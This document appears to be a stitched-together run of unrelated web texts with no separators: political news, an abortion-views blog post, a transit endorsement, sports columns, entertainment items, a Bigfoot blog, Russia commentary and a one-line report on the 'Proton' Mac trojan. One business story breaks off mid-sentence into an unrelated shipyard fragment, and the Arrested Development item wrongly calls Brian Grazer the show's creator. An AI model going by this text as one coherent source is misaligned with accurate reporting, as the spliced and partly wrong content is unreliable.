Not yet. In the epilogue, I describe how I had a very moving, positive experience revealing what I’d done. Since then I’ve kept in touch with several of the people I knew at church. I sent them a couple of copies of the book, and I haven’t heard about their reaction to it. It’s hard for me to know how it will read for them. I know it’s not a love letter, but I tried to be sensitive and fair. I don’t know what it would feel like to be written about, to have my life recorded without my knowledge, and to have my most deeply-held beliefs represented by someone who didn’t agree with them. I hope that they think it’s fair. I hope they appreciate it, but whether they do is ultimately out of my control.RENO & CARSON CITY, Nev. (MyNews4.com & KRNV) -- Republican presidential hopeful Rand Paul hit the campaign trail hard in northern Nevada just one day after the second GOP Presidential Debate.
He made stops in Carson City and later spoke with students at the University of Nevada, Reno.
He spoke with News 4's Terri Hendry, who spent most of the day with the candidate. When asked on how he thought he did in the debate, he joked that Donald Trump seemed a bit upset with him, but he smiled and said he thought he did well because he was able to show how he is different.
That difference became clear regarding his position on additional military force in the Middle East. Paul said, "I'm not going back in to Iraq. Frankly, we've been there and done that. I'm not sending our young men and women back, and I hope that's something that's different but I hope that's something that will appeal."
Later that afternoon, he told students at the university, "When it comes to our involvement regarding ISIS and Iran," he added, "Iran and ISIS are fighting each other. Why do we need to get involved? Why not just pop some popcorn?"
He refers to himself as a Libertarian. He was also asked to explain the difference between a Libertarian and a Republican. He said, "You know there is overlap between Libertarians and Republicans. In fact, Ronald Reagan said the very heart and soul of conservatism is Libertarianism. Libertarians believe you have the right to do most things if you're not hurting someone else."
He gave the example of marijuana. He supports de-criminalizing it, particularly medical marijuana.
He supports limiting and shrinking the federal government. He also believes in giving more power back to individual states. Paul believes in government that strictly adheres to powers granted in the Constitution. He said he is also a staunch supporter of protecting your rights.Some commenters on my pro-life movement post expressed skepticism that I could have so changed my mind so thoroughly over one lunch and one set of statistics. And so I asked myself: How did my perspective change so completely and so suddenly? What was it that so challenged how I had viewed the issue before, and exactly what changed and why? In this post I further hash out what went on in my mind that day, and explain the paradigm shift I underwent.
At that time I had been pro-life my entire life and had spent the previous year as president of my local Students for Life chapter. During the entire time my goal had been to see abortion banned. At pro-life banquets and in discussion with other pro-life individuals, there was always talk of overturning Roe. That was the goal. Overturn Roe, ban abortion, problem solved. Another thing I had always been told was that the number of illegal abortion performed before Roe was grossly exaggerated. I thus saw discussion of illegal abortions as a smokescreen, and felt sure that if we could overturn Roe and then ban abortion, we would solve the problem and abortion would virtually disappear overnight. And while we held overturning Roe as our ultimate goal, we saw restrictions like waiting periods and parental consent as legal steps we could take in the meantime.
And yes, we did other things besides talk of banning Roe. We donated to our local Crisis Pregnancy Center, and participated in the annual Life Chain. I knew people who volunteered as counselors at our CPC (though I never did myself) and people who worked to reach women entering abortion clinics (though I never did that either), and we always knew that our CPC had a need for extra baby clothes or lightly-used cribs. In other words, in addition to the ultimate focus on banning Roe we also worked to talk women out of having abortions.
But I never, ever heard things like fighting poverty, working toward a comprehensive social safety net, advocating for comprehensive sex education, or working to make birth control more widely-used or effective put forward as strategies for reducing the number of abortions that took place. In contrast, every pro-lifer I knew was politically conservative and in opposition to things like welfare, mandated paid maternity leave, subsidized daycare, and even things like Head Start. In addition, the emphasis of the pro-life movement was on promoting abstinence. I remember being at one pro-life banquet where a group of abstinence educators gave a talk about their work. They talked about how they told the children in the schools they went to that contraception had an extremely high failure rate and that if they had sex with someone that would reduce their ability to bond with someone else in the future. We all clapped approvingly. And beyond this, I also was taught that hormonal birth control itself actually caused abortions by causing a woman’s body to expel fertilized eggs. In other words, birth control was discouraged, not encouraged.
During all my time in the pro-life movement I had never actually seen numbers on abortion rates in other countries. Never. The only times we discussed abortion globally was to condemn the World Health Organization for funding abortions in other countries and to support the Mexico City Policy prohibiting U.S. money from being used to fund overseas abortions, and also to condemn China’s policy of forced abortions. That was it. I had never seen numbers comparing rates in the various countries, had never seen a listing of the restrictiveness of the laws in each country, etc. In fact, because I had been led to believe that birth control increases the abortion rate by increasing the amount of sex that takes place and through its failure rate resulting in the conception of babies almost certain to be aborted, I assumed that sexually liberal Western Europe, with its legalization of abortion, would have a really high abortion rate (I knew Western Europe had legal abortion because that was on the list of evils about Western Europe that I heard as a political conservative, alongside socialism).
And then I saw the New York Times article reporting on global numbers of abortion, and discussing these numbers in tandem with each country’s restrictions on abortion. Remember that I had never seen these numbers or even heard them discussed. What these numbers told me was that. There were other factors at work. Why was it that sexually liberal Western Europe, where abortion was legal, had the lowest abortion rate in the world? And why was it that Africa and South America, where abortion was banned in nearly every country, had the highest abortion rates? I realized immediately that these questions were crucially important if one wanted to bring down the abortion rate. It was an epiphany moment. And yet, these were questions I had never heard asked in the pro-life movement.
The other thing I realized is that I had never really considered the reasons women have abortions. I had instead simply repeated the line that “women use abortion as birth control.” When I found that a full 75% of women getting abortions in the U.S. cite their inability to afford to raise a child as one reason they seek out abortions, I was surprised. I know it might seem strange, but I had never really looked at the reasons why women have abortions. My focus had been on restricting abortions and doing whatever possible to talk women out of having abortions. Now, I knew that women had abortions because they didn’t want to be pregnant or have a baby, but my response there – and the response I always saw made by the pro-life movement – was simply that people shouldn’t have sex if they didn’t want to get pregnant. The statistics on Western Europe suggested that if my goal was to decrease the number of unintended pregnancies I needed to put birth control back on the table.
That day I moved away from trying to stop people from having abortions and toward addressing the reasons women have abortions. Things like unintended pregnancies and poverty, for instance. You see, I realized that stopping women from having abortions might save unborn babies from murder but did very little to address the reasons why women would seek out abortions in the first place. I realized that if the focus could move toward decreasing unintended pregnancies and making sure that women could afford to raise children, well, I could both prevent the murders of unborn babies, and improve women’s circumstances and lives.
And yes, this change took place over one lunch on one day, though I of course went on processing the issue for days and weeks afterwards. It really was like a switch had been flipped. It was a paradigm shift. It was an “aha” moment that changed the entire way I approached the issue. And that was huge.Pinellas voters have an opportunity to take the first bold step toward creating a regional transportation system for the 21st century. Greenlight Pinellas is a reasonable investment in the future that would provide better transportation options, create jobs and boost redevelopment. Approving the Nov. 4 referendum also would encourage Hillsborough County to keep pursuing its own transit plan, and it would build support for light rail to span the bay. This is a moment for Pinellas voters to lead Tampa Bay, to build on the county's successes and correct a weakness, to imagine the possibilities a robust public transit system would create for decades to come.
Tampa Bay is the largest metropolitan area without a viable transportation system that includes bus service and some form of rail. Pinellas and the region cannot compete for jobs and younger residents without more ambitious public transit that is reliable, available and affordable. It is an economic issue that affects tourism and employers, and it is a quality of life issue just as much as safe neighborhoods, good schools and vibrant cultural arts. It is Tampa Bay's missing piece.
Greenlight Pinellas is not drawn on the back of a napkin. The plan to dramatically improve bus service and build a 24-mile light rail line from downtown St. Petersburg to downtown Clearwater has been years in the making. There have been hundreds of meetings and vigorous financial reviews. An alternative analysis of transit options has been completed, the light rail route has been set and the costs have been reasonably calculated. None of those tasks were completed four years ago before Hillsborough County voters rejected a similar transit plan.
Much of the debate about Greenlight has been about the viability of light rail. Yet light rail systems in Charlotte, Minneapolis and Phoenix have exceeded their original ridership projections, and nearly all of the nation's light rail systems are expanding. And Greenlight is not just about light rail. The Pinellas Suncoast Transit Authority would expand bus service by 65 percent, add rapid bus routes and run buses far more frequently. Improved bus service would have a far quicker impact than light rail. When light rail started running in 2024, its operating cost would be less than one-third the cost of operating the entire transit system.
The financial underpinnings of the $2.2 billion Greenlight plan appear to be sound. Assumptions about contributions of state and federal money are conservative, and allowances are made for bumps in the economy. The projected cost to build the light rail is in line with other systems. There also is the possibility that a private consortium could build and operate the rail system, which could significantly reduce cost.
The cost to Pinellas taxpayers is reasonable. A new 1-cent sales tax would raise $130 million a year, and one-third of that would be paid by tourists. The existing property tax for transit would be repealed. The bottom line: The owner of a home with the median Pinellas value of $173,000 and a $50,000 homestead exemption would pay $14 more a year. And for families and older residents struggling to pay car-related expenses, better transit options would offer opportunities to save money.
Greenlight Pinellas is the first step toward building a regional transit system. If voters approve it, the next step would be a Hillsborough transit referendum in two years and serious talks about connecting the counties by a light rail system that crosses the bay. If voters reject Greenlight, the entire effort toward creating a regional transit system will be stalled.
Over the years, Pinellas voters wisely have approved investing local tax dollars in public schools, juvenile welfare programs and public works projects. This would be another smart investment in the future of the county and all of Tampa Bay. For the Greenlight Pinellas transit referendum on the Nov. 4 ballot, the Tampa Bay Times recommends voting yes.
> Five facts about Greenlight Pinellas >Oprah Winfrey is Warner Bros. first choice for the role of Amanda Waller in Suicide Squad, according to Variety.
It’s somewhat surprising to see Winfrey on the shortlist for a film about a team of killers and criminals, not because of any lack of talent (she is a former Oscar nominee, after all), but simply because its hard to see where she would find the time, considering she runs a multimedia empire of her own, and the role seems to clash with her family friendly image.
To be fair, I wouldn’t be the first to peg family friendly summer blockbuster regular Will Smith as cold-blooded killer for hire Deadshot either, so maybe it’s just me. While Winfrey is at the top of Warners’ short list, the list also includes Octavia Spencer and Viola Davis.peanut shella are an effective tool for cleaning wastewater. The agricultural waste removes poisonous copper ions from industrial wastewater. A new study says the shells perform better than many other waste products such as saw dust. Though the industry uses many chemical processes to remove heavy metals for wastewater, most of them are highly expensive. This new method seems to be cheaper and eco-friendly.
Peanut shell is the first waste product found to be highly efficient in cleaning wastewater. It cleans 95 per cent of the copper ions. Wastewater from electroplating, pulp and paperboard industries contain copper and affects marine and human life. Copper, for example, can damage the human liver.
The study by Duygu zsoy and colleagues in the department of environmental engineering at the Mersin University in Turkey was published in the International Journal of Environment and Pollution (Vol 31, No 1&2). The researchers say peanut husk performs best in a slightly acidic medium. The temperature of the medium does not affect efficiency.
Some other plants and plant products too have been used to clean wastewater. Erythrodontium barteri, a moss, removes 97 per cent of copper from wastewater, says a study done at Olabisi Onabanjo University in Nigeria, published in the International Journal of Physical Sciences (Vol 2, No 11).
How does the biomass act on the heavy metals? "All the ions in the heavy metals are positive. This biomass waste uses its capacity to develop negative ions which can trap the positively charged heavy metal ions," explains Parul Sharma of the Anand Engineering College in Agra. The peanut shell arrests metal ions by forming metal complexes from the water.
Sharma, who has studied the cleaning properties of biomass, says the efficiency of removal of a particular metal from water depends on how well the metal reacts with water. She gives examples -- lead is best absorbed, followed by cadmium, chromium and nickel. Her team has, however, not worked on copper. Some efforts are also on in India to find effective biomass among indigenous plants. Sharma has found that drumstick seeds can remove lead, chromium and cadmium efficiently from water.
Donate Now We are a voice to you; you have been a support to us. Together we build journalism that is independent, credible and fearless. You can further help us by making a donation. This will mean a lot for our ability to bring you news, perspectives and analysis from the ground so that we can make change together.A howl, a howl. Higher than a growl, that will make you run for a mile. Yes it will make you run for a mile.
So it occurred to me while I was watching Skull Island today that I never got a post out from my last Squatch Hunt. I posted some pictures on my Facebook page. But totally blanked on my post. (This is what happens when you get older). So here we go..
My last hunt had me following up on a report made to the BFRO last year. Better late than never I guess. It was in the Oxford/Douglas Massachusetts area. (Beautiful area by the way, totally jealous the big man may live there and I do not)
So the report was a little confusing on actual location. But my sister and I are pretty confident we nailed it. It was in a very squatchy location. In fact you could have filmed a remake of Boggy Creek there.
We saw a lot of what we feel could be potential Bigfoot structures and nest like areas. Definitely worth a second look next weekend.
As I have mentioned many times I’m not an expert and I’m never going to claim that title. But neither am I a rookie. I have watched every documentary, read many books and watched literally every movie I could. So I can recognize some suspicious things when I see them. I took many pictures of the area for the real experts to look at if anyone is interested. I’m pretty sure we took a picture of a bear in there as well.
So after binge watching several episodes of Finding Bigfoot. I decided we should try to make some calls out. After our attempts and lots of laughs, I gave up and downloaded an app for this. Go ahead get the groans and eye rolling out of the way, I can take it. Well, we laughed at those too but we decided to stick with it and use it at a few locations.
At one location I let out the howl then the tree knocking sound. And after a few tries I kid you not. We got a call back. My first instinct was I’m outta here! Exit stage left! But I didn’t run nor could I identify that sound. It was a high octave, more like a long screech. It only came once as if to say get out of here.
Well I walked around and tried every sound I could to no avail. Since I’m not a hunter and I don’t know what animals make what sounds in the woods these days beyond wolf and owl I’ll take any suggestions you have. Or you could feel free to send me a few recordings of what animals you think it could be and maybe I’ll be able recognize it.
If I’m being realistic, my sister and I may never actually find the Squatch. But we always have a hell of a time looking. We are definitely the Abbot and Costello meets the Wolfman of the hunters around here. But there are no regrets because laughter is truly the best sound anything on earth can make and I hear( pun intended) that it’s also good for the soul.
Please send any recordings or to request a copy of our photos to:
Myself @ bigfootmountain1@gmail.com
Or my sister squatcher Rene at:
Bigfootmountain2@gmail.comEARTH CITY, Mo. -- During the final meeting of the 2014 St. Louis Rams on Monday, Rams coach Jeff Fisher went through the usual checklist of things to tell his team before sending it on its way.
That checklist included the usual warnings about making wise decisions, how to stay in shape and other basic instructions. Fisher also took a moment to recognize a player that hadn't gotten much recognition for the job he did during the season: running back/kick returner Benny Cunningham.
Fisher made it a point to present Cunningham and the entire kickoff return team with a game ball after putting the finishing touches on a season in which Cunningham led the NFC in kickoff return average at 27.5 yards per attempt. That total was fifth in the NFL.
“As far as our special teams are concerned, we gave the game balls Monday morning to the entire kickoff return team and Benny for leading the NFC in kickoff returns," Fisher said. "I thought it was an outstanding effort."
For the season, Cunningham finished with 35 returns for 963 yards with a long of 75 yards. Although he's not the fastest or shiftiest returner you'll find, Cunningham proved successful by being decisive and capable of shedding tackles when defenders didn't wrap him up.
That Cunningham managed to post such solid return numbers was a welcome surprise for the Rams considering kick returner had been a position without a definitive solution entering the season. Chris Givens, Tavon Austin and Isaiah Pead were among the many who were getting opportunities in the offseason.
Given Cunningham's performance this year, that's a problem the Rams don't figure to have moving forward.US cereal giant Kellogg’s and New Zealand milk multinational Fonterra have put the squeeze on local suppliers by stretching their payment terms out to a crushing 120 days.
Along with other multinationals such as Unilever and Nestle, Kellogg’s and Fonterra already had their suppliers on 90-day terms, a punishing delay for family businesses who have to pay staff and a slew of other costs within the month.
The move to |
prior to delivery to the Navy, the CSL officials said. CSL chairman and managing director Commodore Kartik Subramaniam and other shipyard officials were present at the undocking function.(Credit: Netflix)Arrested Development would see a season 5
It is definitely an understatement to say that the revival of "Arrested Development" for a fourth season is nothing short of a miracle. Upon the announcement, the cult Fox show has been dead for several years so it really was not surprising that devoted fans of the show were ecstatic to learn that the series would live to see another season. While followers of the show are already grateful for a fourth season, it seems like the good news surrounding the series does not end there.
"Arrested Development," which first aired in 2003, was initially an American television show that aired on Fox. It follows the lives of the dysfunctional Bluth family in the aftermath of their patriarch, George Bluth, being sent to prison.
Despite critical acclaim, the show garnered poor ratings which prompted its home network to cancel it at the offset of its third season. Since its cancellation, the show has developed a massive cult following, with fans even pushing for it to be adapted into a movie. However, in 2012, after being off air for six years, Netflix has announced that they have picked up the show and a 15-episode season four has been ordered.
Though there were initial doubts, season four, which premiered in May 26, 2013 was just as critically acclaimed as the previous seasons. And now, an announcement by the series' creator, Brian Grazer, has left fans breathing a sigh of relief, as a fifth season has just been confirmed.
"I love Arrested Development, but it was never a huge thing. But people are loyal to it, and we're going to do another 17 episodes. So stay tuned for Arrested Development," he announced.
There is no confirmation yet on when the show would arrive on Netflix, however, rumors suggest that "Arrested Development's" season five will debut as early as April 2016.Like this article? rabble is reader-supported journalism. Chip in to keep stories like these coming.
From the other side of the Atlantic Ocean, it seemed like a peculiar omission.
A poll of Alberta voters reported at the end of last week indicated that if an election were held now, the New Democratic Party could win. But the story generated no headlines.
Surely this was pretty big news -- even though it was the result of questions asked of an online panel, to which all the usual caveats about this kind of opinion research must be applied.
Still, it seemed to me as I checked the news from home in my Munich hotel room that such a result was worthy of more comprehensive coverage than a single sentence in a single news story in a single giveaway newspaper -- although, come to think of it, that last point pretty well describes them all in these parts nowadays.
There it was on the Calgary Metro newspapers site in black and white last Friday: "The results had the NDP still winning the election with 32 per cent of the vote, while Wildrose and PCs came second and third respectively with 22 and 21 per cent of the vote."
In fact, the Wildrose and Tory results should have read 28 per cent and 27 per cent resoectively, bringing the horses in this race closer together.
Still, the results indicated Premier Rachel Notley's NDP remains within striking distance of success in Calgary, where they were in a heat with the Progressive Conservatives according to this poll, and overwhelmingly dominate the field in the Capital Region, with close to 50 per cent support.
You'd think this kind of stuff was almost worthy of exclamation points given the narrative Albertans are being fed about the political state of affairs in this province, where reporting on the NDP by mainstream media is universally hostile and spins a tale of the party's inevitable downfall in the next election, which can't be held soon enough.
In defence of the story's author, the pollster -- ThinkHQ Public Affairs Inc. of Calgary -- seems to have principally been looking for something else when it was in the field in late July. To wit, whether conservative voters like Opposition Wildrose Leader Brian Jean the best, or Jason Kenney, the federal Conservative candidate for the leadership of the provincial Progressive Conservative Party running on a "unite-the-right" ticket.
The answer to that question appears to be Jean, which apparently surprised the reporter, and possibly the pollster, but ought not to have shocked disinterested observers who consider the substantial liabilities and vulnerabilities Kenney brings to the contest, notwithstanding his deep pockets and the support of frustrated conservative backroom operatives in both parties.
Kenney's liabilities with ordinary voters surely include his hypocritical double-dipping at the public trough, his history of extreme social conservatism and, now, the fact his campaign has been economical with the truth about the nature of the corporate entity set up to bankroll his bid to unite the two right-wing parties and move them even further to the right.
Metro newspapers, which sponsored the poll and was the only paper to report it, devoted 332 of the 416 words in its short story on the survey to the relative popularity of the two conservative leaders, 50 words on the poll's methodology and 32 words to the level of popular support for the NDP.
And those 32 words? They seem to have been all that appeared in mainstream Canadian media. Everywhere else, crickets.
Well, perhaps this only seemed odd given the fact I was visiting a country where the print newspaper business -- notwithstanding the Internet and all the other excuses for disappearing readers and declining revenues -- appears to be holding its own better than in Canada, with plenty of papers representing a variety of points of view on sale everywhere, including local dailies being hawked on subway platforms.
Here in Edmonton, meanwhile, Postmedia Network Inc., publisher of the Alberta Frankenpaper, which has the same perspective as all the other media in the province and publishes identical stories in four versions in Calgary and Edmonton, announced the next day was immediately laying off 600 carriers in the capital city.
NOTE: This post has been updated to reflect and clarify an error in Metro's copy. It also appears on David Climenhaga's blog, AlbertaPolitics.ca.
Like this article? rabble is reader-supported journalism. Chip in to keep stories like these coming.It's time for our weekly look around the NBA.
10 things I like and don't like
1. The genius of Marc Gasol
This freaking guy. During another improbable Grizz comeback against Portland last week, Gasol caught the ball at least 5 feet behind the 3-point arc while trailing a possession and realized no one was guarding him. He looked around, shrugged -- literally, the dude shrugged in the middle of a game -- and just jacked a 30-footer. Cash money. Editor's Picks The Lowe Post: Amin Elhassan on early surprises Zach talks to ESPN's Amin Elhassan about the Knicks, Rockets, Grizzlies, Jazz, and other surprise teams.
How do Hayward and the Jazz go from good to great? Zach Lowe examines the difficult decisions the Utah Jazz face in trying to keep Gordon Hayward and the rest of their nucleus together. 1 Related
Memphis is 7-2 since Mike Conley busted his back. That is insane. The Grizzlies larded up on sad sacks like Philly, Orlando, and the Lakers, and we all kind of assumed the bottom would fall out against better competition. Then they rallied against Portland, and spanked the yappy Warriors. (Seriously: Golden State mean-mugged its way through a road win against an injury-riddled Utah team subsisting on Joe Ingles 3-pointers. Maybe just take the W and chill?)
This is the best story of the first 25 games, and it would not be happening without Gasol. During Conley's absence, Memphis has blitzed teams by almost 15 points per 100 possessions with Gasol on the floor -- and wilted into a D-League outfit when he sits, per NBA.com. His calculating, careful game holds up well in crunch time, and the Grizzlies, for what feels like the seventh straight season, are squeezing out wins in almost every close game.
It has been fascinating to watch a natural sharer get a little bit selfish because his ravaged team needs it. Gasol is shouldering the heaviest scoring burden of his career, setting up shop on the left block and waiting to see if opponents double him. If they don't, he'll bulldoze into the lane for a short hook. Sit on that move, and he'll turn over his right shoulder, fade away along the baseline, and draw rain with perhaps the most telegenic post move in the league (at least while Dirk Nowitzki's one-footed special is on ice).
Gasol is venturing a little out of his comfort zone as a shoot-first alpha dog, and he's thriving. He remains a brilliant passer; he's on pace for one of the highest assist rates ever from a big man. Gasol should be in the conversation for a No. 4 or No. 5 spot on MVP ballots.
Players know. Talk to rivals about Gasol, and they'll tell you he's even better than you realize.
2. Patrick Beverley, secondary playmaker
The scorching Rockets are 13-2 since Beverley returned from injury, and their in-your-jersey irritant is playing perhaps the best all-around ball of his career. Beverley is averaging 5.6 dimes per 36 minutes, his best mark in years, and that number vaults all the way up to 8.7 -- top-flight point guard territory - when he's on the floor without James Harden, per NBA.com.
The Beverley-Eric Gordon backcourt has stabilized bench units that flailed without Harden during the first three weeks of the season. The turnaround is severe enough to give you whiplash. Since Beverley's return, Houston has outscored opponents by 14 points per 100 possessions with Harden on the bench -- a huge margin. (Please do not be dumb and turn that number, or this snippet, into some indictment of Harden. He is probably the front-runner for MVP.)
Beverley is running a keen pick-and-roll, and he's not reverting to stand-still wallflower mode when he shares the floor with Harden. A lot of Mike D'Antoni's favorite trigger sequences feature Beverley in an active role, and when Harden swings him the ball, Beverley zips right into a drive-and-kick that keeps the machine chugging:
He's also shooting 40 percent from deep, and annoying the hell out of opposing point guards.
3. Fake streaks
Imagine my surprise during Sunday's Warriors-Wolves game -- one day after Memphis grit-and-grinded all over Golden State -- to hear via the (awesome) Minnesota broadcast crew that the Warriors hadn't lost two straight games since April of 2015.
Hmm. I swear I remember the Warriors suffering some sort of meme-inspiring losing streak last season. Maybe in June? Against the same team over and over, due to some scheduling quirk?
Placing a statistical divide between the playoffs and regular-season makes sense in some instances -- especially with team-level stats. The postseason is a different game, with better competition, so there is some apples-to-oranges in comparing team stats -- like offensive efficiency -- across the two.
But for streaks and simple counting stats, do we really need to build a wall? The Warriors suffered two losing streaks in the playoffs. To erase them in discussing a potential regular-season streak seems labored. Does LeBron have 27,382 career points -- his regular-season total? Or is it 32,954 -- his total points, including playoffs?
It should be the latter. Yes, this gives LeBron an advantage in career counting stats over scoring studs who didn't venture as deep in the playoffs as often. But isn't that the point of keeping track? Let's reward the guys who did the most under the brightest lights.
4. The aimlessness of Denver... maybe over?
The Nuggets looked like a team that could win 38 or 39 games -- stacked with enough depth to weather Emmanuel Mudiay's growing pains. They are 10-16, and appeared before Thursday's rotation shakeup to be on the verge of chaos.
Mudiay's growing pains have been painful. The Jusuf Nurkic-Nikola Jokic partnership predictably sputtered, but the resolution should not have been bringing Jokic off the bench and struggling to find him 25 minutes. That amounted to overthinking it. Jokic might be your best player; play him a lot!
Mike Malone mercifully pivoted Thursday night, starting Jokic in a smallish look with Wilson Chandler and Danilo Gallinari on the front line -- a trio that has been wildly successful in 100-plus minutes so far this season. Maybe this will spark a turnaround. The franchise needs it, now.
Gallinari is having a down season one year after Denver passed up chance after chance to flip him for a healthy return. Kenneth Faried, trade bait for years now, was out of the rotation before reassuming his (suboptimal) role Thursday as an undersized center. Darrell Arthur started for a while. He's good, but not that good. Sometimes Juancho Hernangomez plays. Sometimes he doesn't.
There is just a haze about the Nuggets. It's unclear what they are trying to be stylistically, or how they might arrive there. In fairness, it's hard to be much of anything relying on a 20-year-old point guard shooting 35 percent with an alarming turnover rate. Let's hope the lineup change -- or the trade deadline -- brings some clarity.
5. Benches stifling themselves when a teammate gets posterized
These are the best moments -- when our mask of learned politeness falls away to reveal our base and cruel nature. Did you see the Brooklyn bench when Larry Nance Jr. ended Brook Lopez right in front of them on Wednesday night? The sitting Nets knew it was not appropriate to celebrate the violence Nance had just laid upon their broken teammate. For a brief, glorious half-second, they just couldn't help it.
They all gasped. Some leaned back in their chairs, either in astonishment or perhaps out of some primal instinct to run away from the carnage. Others perched forward and bent their knees, as if they were about to rise in acknowledgement. And then, bam: They remembered. They had to be civilized. They resumed their normal seated positions and stifled grins. A few even briefly held on to each other, to keep balanced. I'm pretty sure Trevor Booker grabbed Randy Foye, so that Foye would not stand up.
Seriously: Whenever someone gets dunked on hard, watch the reaction of the victim's bench. It is often the best part.
6. McBuckets, going lefty
Doug McDermott clearly spent time working on his left hand, and getting comfortable shooting with it has unlocked a new level of craftiness in tight spaces along the baseline:
He's not afraid to launch lefty floaters off the dribble if the defense overplays his right hand.
With McDermott back from a concussion, Chicago can surround Dwyane Wade on hybrid bench units with one cinder-block screener -- Cristiano Felicio -- and three shooters in McDermott, Nikola Mirotic, and Isaiah Canaan. (The last two might be more aptly described as theoretical shooters, but just go with it.)
Chicago has also closed some games without a traditional point guard, and all three of McDermott, Wade, and Jimmy Butler on the floor alongside two big men. That's worth exploring more, even when all Chicago's point guards are available.
7. Dwane Casey, throwing caution to the wind
Toronto is setting records on offense, and Casey has been a little more adventurous this season rolling out lineups geared toward that end. He started Patrick Patterson at power forward over Pascal Siakam in the second half of Toronto's win Wednesday over the Sixers, daring Philly to have Joel Embiid (slotted alongside Jahlil Okafor) chase Patterson around the perimeter. He didn't seem to care if Embiid pancaked Patterson on the other end.
He's downsized a bit more in the last week-plus to find time for Norman Powell, who deserves more minutes than Toronto has for him. He's even gone super-small, with Patterson at center, a bit more readily after getting gun-shy going that route against Cleveland. (We'll see if this persists when Lucas Nogueira gets back.)
The group of Kyle Lowry-DeMar DeRozan-DeMarre Carroll-Patterson-Jonas Valanciunas has already logged 84 minutes after Casey used it just 16 minutes total last season, per NBA.com. Injuries to Carroll and Valanciunas short-circuited that lineup last season, but Casey seemed reluctant to bust it out even when all five guys were available.
He's letting it ride this season, and it is destroying people. The Raptors have outscored opponents by almost 30 points per 100 possessions in those minutes, and they're killing it on both ends of the floor. Watch out.
During the Aborted Pacers Small-Ball Experiment of 2015, Miles spent a lot of time jostling with power forwards so that Paul George could smother elite wing scorers. Some bigs overwhelmed Miles on the block; there is only so much a guy can do when he's giving up 50 pounds.
But Miles is a fighter with quick hands, and he developed a knack for stabbing underneath a big fella's arm to poke the ball away between dribbles:
The Pacers have been going small more often over the last two weeks in trying to find a rotation that works longer than one half. Their defense has also looked a lot cleaner with Monta Ellis injured. Nate McMillan faces some interesting decisions in getting the Pacers back on course.
(PS: What Anthony Davis did to the Pacers in the 4th quarter last night was obscene. It was cruel.)
(PPS: Quinn Buckner, the Pacers' analyst, was absolutely right that Davis was traveling almost every time he caught the ball and hopped/skipped/jumped into a drive. This is getting embarrassing for the NBA, and I hope the most outspoken coaches keep throttling the league about it.)
9. The grunt work of Cody Zeller
Meet Cody Zeller: perfectly acceptable starting center and fifth option on a good team. On some nights, you barely notice him; Zeller doesn't get to do much with the ball, and Charlotte's notion of turning him into a jump-shooter died when Zeller shifted from power forward to rim-rolling center last season.
But the guy has his fingerprints all over most Charlotte baskets. He's a nasty screen-setter, and he loves that part of the job. He's fast covering short distances, which means he can set one screen for Kemba Walker, scurry back around, and set one or two more in the span of just a few seconds.
He runs the floor like a madman, torture for opposing plodders who just want to take one damn possession off to catch their breath. He's hyperactive, and he never stops. It's not fun to play against him.
He's also learned the kinds of shots he'll get in Charlotte's offense, and worked to master them -- including an in-between floater, a tricky shot for big men:
Zeller is never going to be a star, or close to it. He's a so-so rebounder for his position, and he doesn't deter anyone from attacking the rim. But he works his butt off, and he's almost always in the right position on both ends. He is the kind of worker bee who just helps you win games.
10. Kawhi Leonard, emerging from the pile
Maybe my favorite part of every Spurs game: when a rebound drops within equidistant reach of everyone in a crowd that includes Leonard, or when he's part of a scrum of dudes piling up on the floor in pursuit of a loose ball. There is absolutely no suspense about what will happen next, and the predictability is glorious.
Leonard is going to get the ball. It will look effortless. Everyone else will be jumping with all their might, wriggling around on the ground, grimacing and yelling. Leonard just sticks a giant mitt into the fray, gets the ball, and leaves the scene. It's like when Heathcliff the cat got into a brawl, everything turned into a screaming cloud of dust, and Heathcliff would just walk out of the cloud unscathed as everyone continued fighting.Story highlights Putin accused of fuelling separatist rebellion in mainly Russian-speaking east of Ukraine
On international stage, Russia has been excluded from G8 group of industrialized nations
But Russian leader appears unmoved, his Ukraine policy unchanged
Putin told CNN's Matthew Chance: Russians should be given guarantees no one attacks us
The first frosts of winter have already dusted the spectacular city of St. Petersburg with a powder of glistening ice. The air outside feels sharp and crisp. Russians hurry along the elegant boulevards, wrapped up tight against the biting cold. Russia's winter, its annual deep freeze, has begun.
But this year there's more than just a bitter chill in the air. For the past nine months relations with the West have become decidedly frosty too.
On the face of it the problem is Ukraine.
The West backed a popular uprising there in March, which toppled a Kremlin-friendly government.
Infuriated, Russia's president, Vladimir Putin, annexed the strategic Crimean Peninsula, where it has a key naval base.
Since then he has been accused of fuelling a separatist rebellion in the mainly Russian-speaking east of the country. That unrest has already cost more than 4,000 lives.
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The United States and Europe have imposed costly sanctions and travel bans. It threatens more.
On the international stage, Russia has been excluded from the G8 group of industrialized nations. At the recent G20 summit in Brisbane, President Putin was cold-shouldered by his Western counterparts.
But the Russian leader appears unmoved, his Ukraine policy unchanged.
One fascinating explanation for the failure of Western sanctions and rebukes to change this vast country's behavior may be in the mindset, the world view, of its strongman president.
I'm one of the few Western journalists to have sat down with Vladimir Putin.
I asked him back then if he could guarantee that Russian troops would not invade other former Soviet states, like Ukraine.
He reacted quite angrily, saying he objected to my question. It was Russians, he said, who should be given guarantees that no one attacks us.
The comment sheds light, I think, on how Vladimir Putin sees the world outside the walls of the Kremlin.
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For him, Russia is under constant threat from the West. NATO expansion into former Eastern Bloc nations has eroded Russia's security. The prospect of Georgia joining the western military alliance, let alone Ukraine, is unthinkable for him.
The Cold War, from this perspective, has never really ended; we're still living in the 1980s.
The West, in particular the United States, still strives to "subjugate" Russia. President Putin repeated this just a few days ago in Moscow.
Sanctions are an inevitable consequence of Russia's resistance to this subjugation. Ukraine was the motive, but if it had not been Ukraine it would likely have been something else.
From a Western perspective, this seems like a cynical distortion of the facts, a Kremlin ploy to confuse and obfuscate.
But it may help explain why Russia is doing what it is doing, and why sanctions are not changing -- and may never change -- Kremlin policy.
It may also help to explain why, at a time of growing economic hardship, Russia's president remains so utterly popular at home.
His world view is theirs too. Like the harsh cold of the coming Russian winter, confrontation with the West is inevitable and must be endured.Security researchers have discovered the existence of a new trojan dubbed "Proton" being marketed in hacking forums to online criminals, claiming to ship with genuine Apple code-signing signatures that could make it a greater risk to victims.
